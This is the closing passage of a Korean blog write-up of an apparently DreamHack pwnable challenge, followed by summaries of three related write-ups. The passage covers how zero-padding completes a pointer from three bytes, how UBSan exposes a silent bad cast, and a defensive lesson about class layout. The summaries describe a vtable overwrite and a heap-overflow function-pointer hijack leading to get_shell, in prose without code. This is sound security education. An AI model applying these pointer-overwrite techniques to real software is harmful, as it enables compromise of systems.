์—ฌ๊ธฐ์„œ๋Š” ๋‚จ๋Š” ์ž๋ฆฌ๋ฅผ 0 ์œผ๋กœ ์ฑ„์›Œ ์ฃผ๋Š” ์„ฑ์งˆ์ด ๊ณต๊ฒฉ์ž ์ชฝ์œผ๋กœ ๋ถ™์—ˆ๋‹ค. 3๋ฐ”์ดํŠธ๋งŒ ๋ณด๋‚ด๋„ ํฌ์ธํ„ฐ 8๋ฐ”์ดํŠธ๊ฐ€ ์˜จ์ „ํžˆ ์™„์„ฑ๋œ๋‹ค. NUL ์ข…๋ฃŒ๋ฅผ ๋ณด์žฅํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์œผ๋กœ ์œ ๋ช…ํ•˜์ง€๋งŒ, ๋ฐ˜๋Œ€๋กœ ํ•„์š” ์ด์ƒ์œผ๋กœ 0 ์„ ์“ด๋‹ค๋Š” ์ ๋„ ๊ฐ™์ด ๊ธฐ์–ตํ•ด ๋‘˜ ๋งŒํ•˜๋‹ค.

ํฌ๋ž˜์‹œ๊ฐ€ ์•ˆ ๋‚œ๋‹ค๊ณ  ์•ˆ์ „ํ•œ ๊ฒŒ ์•„๋‹ˆ๋‹ค.

์ด ํ”„๋กœ๊ทธ๋žจ์€ ์ž˜๋ชป๋œ ์บ์ŠคํŠธ๋ฅผ ํ•˜๊ณ ๋„ ๋ฉ€์ฉกํžˆ ๋Œ์•„๊ฐ„๋‹ค. ๋ฉ”๋‰ด๋„ ์ •์ƒ์ด๊ณ  ์ข…๋ฃŒ ์ฝ”๋“œ๋„ 0 ์ด๋‹ค. ๊ทธ๋ž˜์„œ ์ผ๋ฐ˜์ ์ธ ํ…Œ์ŠคํŠธ๋กœ๋Š” ์ ˆ๋Œ€ ์•ˆ ๊ฑธ๋ฆฐ๋‹ค. -fsanitize=undefined ๋ฅผ ๋ถ™์—ฌ ๋”ฑ ํ•œ ๋ฒˆ ๋Œ๋ฆฌ๋Š” ๊ฒƒ๋งŒ์œผ๋กœ ์†Œ์Šค 114ํ–‰์ด ์ง€๋ชฉ๋๋‹ค๋Š” ๊ฒŒ ๊ทธ ๋Œ€๋น„๋ฅผ ์ž˜ ๋ณด์—ฌ ์ค€๋‹ค. ์กฐ์šฉํžˆ ๋„๋Š” UB ๋Š” ๋„๊ตฌ๋ฅผ ์ผœ์•ผ๋งŒ ๋ณด์ธ๋‹ค.

๋งˆ์ง€๋ง‰์œผ๋กœ, ์ด ๋ฌธ์ œ๋ฅผ ๋ฐฉ์–ด ๊ด€์ ์—์„œ ํ•œ ์ค„๋กœ ์ค„์ด๋ฉด ์ด๋ ‡๋‹ค. ์บ์ŠคํŠธ๊ฐ€ ์•„๋‹ˆ๋ผ ๋ ˆ์ด์•„์›ƒ์„ ์˜์‹ฌํ•˜๋ผ. ๋‘ ํด๋ž˜์Šค๊ฐ€ ๊ฐ™์€ ๋ถ€๋ชจ๋ฅผ ์ƒ์†ํ•˜๋Š” ์ˆœ๊ฐ„, ๊ทธ ๋‘˜์˜ ์ฒซ ๋ฉค๋ฒ„๋Š” ๊ฐ™์€ ์ฃผ์†Œ์— ๋†“์ธ๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 4] std::string ๋‚ด๋ถ€๋ฅผ ํŒŒ๊ณ ๋“ค๋‹ค๊ฐ€, ์ •์ž‘ ๋‹ต์€ ๋ฐฐ์—ด ํ•˜๋‚˜ ์˜†์— ์žˆ์—ˆ๋‹ค โ€” DreamHack cpp_string ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 4] std::string ๋‚ด๋ถ€๋ฅผ ํŒŒ๊ณ ๋“ค๋‹ค๊ฐ€, ์ •์ž‘ ๋‹ต์€ ๋ฐฐ์—ด ํ•˜๋‚˜ ์˜†์— ์žˆ์—ˆ๋‹ค โ€” DreamHack cpp_string ํ’€์ด

์ „์—ญ std::string์— ์งง์€ ๋ฌธ์ž์—ด์„ ๋„ฃ์œผ๋ฉด Small String Optimization์ด ๋ฐœ๋™ํ•ด ๋ฌธ์ž์—ด ๋ฐ์ดํ„ฐ๊ฐ€ ๊ฐ์ฒด ์ž๊ธฐ ์ž์‹  ์•ˆ์— ์ €์žฅ๋œ๋‹ค๋Š” ์‚ฌ์‹ค๋ถ€ํ„ฐ ํŒŒ๊ณ ๋“ค์—ˆ๋‹ค. write_file()์ด ๊ทธ c_str() ํฌ์ธํ„ฐ์—์„œ ํ•ญ์ƒ 64๋ฐ”์ดํŠธ๋ฅผ ์ฝ์–ด ํŒŒ์ผ์— ์“ด๋‹ค๋Š” ๊ฑธ ๋ณด๊ณ  "์งง์€ ๋ฌธ์ž์—ด์„ ๋„ฃ์œผ๋ฉด ๊ฐ์ฒด ๋ฐ– ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์ฝ์–ด flag๋ฅผ ํ˜๋ฆด ์ˆ˜ ์žˆ๊ฒ ๋‹ค"๊ณ  ํ™•์‹ ํ–ˆ๋Š”๋ฐ, readelf๋กœ ์‹ค์ œ ์ฃผ์†Œ๋ฅผ ๊นŒ๋ณด๋‹ˆ flag๋Š” ๊ทธ ๋ฌธ์ž์—ด ๊ฐ์ฒด๋ณด๋‹ค ์•ž์ชฝ ์ฃผ์†Œ์— ์žˆ์—ˆ๋‹ค โ€” ์ฝ๋Š” ๋ฐฉํ–ฅ์ด ๋ฐ˜๋Œ€์˜€๋‹ค. ๋กœ์ปฌ ์žฌํ˜„๋„ ์ „๋ถ€ 0๋ฐ”์ดํŠธ๋กœ ์‹คํŒจ๋ฅผ ํ™•์ธ์‹œ์ผœ์คฌ๋‹ค. ๋‹ค์‹œ ๋ณด๋‹ˆ ๋‹ต์€ ํ›จ์”ฌ ๋‹จ์ˆœํ•œ ๊ณณ์— ์žˆ์—ˆ๋‹ค: ์ธ์ ‘ํ•œ ๋‘ ๋ฐฐ์—ด๊ณผ ๋„ ์ข…๋ฃŒ ์—†๋Š” ์ถœ๋ ฅ.
#dreamhack#ctf#pwnable+4
2026-07-20#dreamhack +4
[๐Ÿฅˆ Silver 2] stderr + 1 ์ด ๊ฐ€๋ฆฌํ‚ค๋Š” 8๋ฐ”์ดํŠธ๋กœ ํ•จ์ˆ˜ ํ…Œ์ด๋ธ”์„ ๊ฐˆ์•„๋ผ์šด๋‹ค โ€” DreamHack iofile_vtable ํ’€์ด
blog

[๐Ÿฅˆ Silver 2] stderr + 1 ์ด ๊ฐ€๋ฆฌํ‚ค๋Š” 8๋ฐ”์ดํŠธ๋กœ ํ•จ์ˆ˜ ํ…Œ์ด๋ธ”์„ ๊ฐˆ์•„๋ผ์šด๋‹ค โ€” DreamHack iofile_vtable ํ’€์ด

๋ฉ”๋‰ด 4๋ฒˆ์ด read(0, stderr + 1, 8) ์„ ํ•œ๋‹ค. stderr ๋Š” FILE ํฌ์ธํ„ฐ๋ผ +1 ์€ 8๋ฐ”์ดํŠธ๊ฐ€ ์•„๋‹ˆ๋ผ ๊ตฌ์กฐ์ฒด ํ•˜๋‚˜๋งŒํผ, ์ฆ‰ 0xd8 ์„ ๊ฑด๋„ˆ๋›ด๋‹ค. ๊ทธ ์ž๋ฆฌ๊ฐ€ ํ•˜ํ•„ _IO_FILE_plus ์˜ vtable ํฌ์ธํ„ฐ๋‹ค. ์ „์—ญ ๋ฐฐ์—ด name ์— get_shell ์ฃผ์†Œ๋ฅผ ๋ฏธ๋ฆฌ ๋„ฃ์–ด ๋‘๊ณ  vtable ์„ name - 0x38 ๋กœ ๋Œ๋ฆฌ๋ฉด, fwrite ๊ฐ€ ๋ถ€๋ฅด๋Š” __xsputn ์นธ์ด ์ •ํ™•ํžˆ name ์— ๊ฒน์นœ๋‹ค.
#dreamhack#ctf#pwnable+5
2026-07-31#dreamhack +4
[๐Ÿฅˆ Silver 4] ์ธ์ ‘ ํž™ ์ฒญํฌ์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ๋„˜์–ด ๋ฎ๋‹ค โ€” DreamHack basic_heap_overflow ํ’€์ด
blog

[๐Ÿฅˆ Silver 4] ์ธ์ ‘ ํž™ ์ฒญํฌ์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ๋„˜์–ด ๋ฎ๋‹ค โ€” DreamHack basic_heap_overflow ํ’€์ด

ptr = malloc(0x20) ๊ณผ over = malloc(0x20) ์ด ํž™์—์„œ ์—ฐ์†์œผ๋กœ ์žกํžˆ๋Š”๋ฐ scanf("%s", ptr) ์— ๊ธธ์ด ์ œํ•œ์ด ์—†๋‹ค. ptr ์ฒญํฌ๋ฅผ ์ง€๋‚˜ over ์ฒญํฌ์˜ ์ฒซ ๋ฉค๋ฒ„์ธ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ over->table ๊นŒ์ง€ ๋ฎ์–ด, main ๋์˜ over->table() ํ˜ธ์ถœ์„ get_shell ๋กœ ๋Œ๋ ธ๋‹ค. ์˜คํ”„์…‹์€ ํƒ€๊นƒ glibc 2.23 ๊ธฐ์ค€ 0x28(40) ์ด์—ˆ๊ณ , ๋กœ์ปฌ glibc ์™€ ๋‹ฌ๋ผ ํ•œ ๋ฒˆ ํ—ค๋งธ๋‹ค.
#dreamhack#ctf#pwnable+4
2026-07-12#dreamhack +4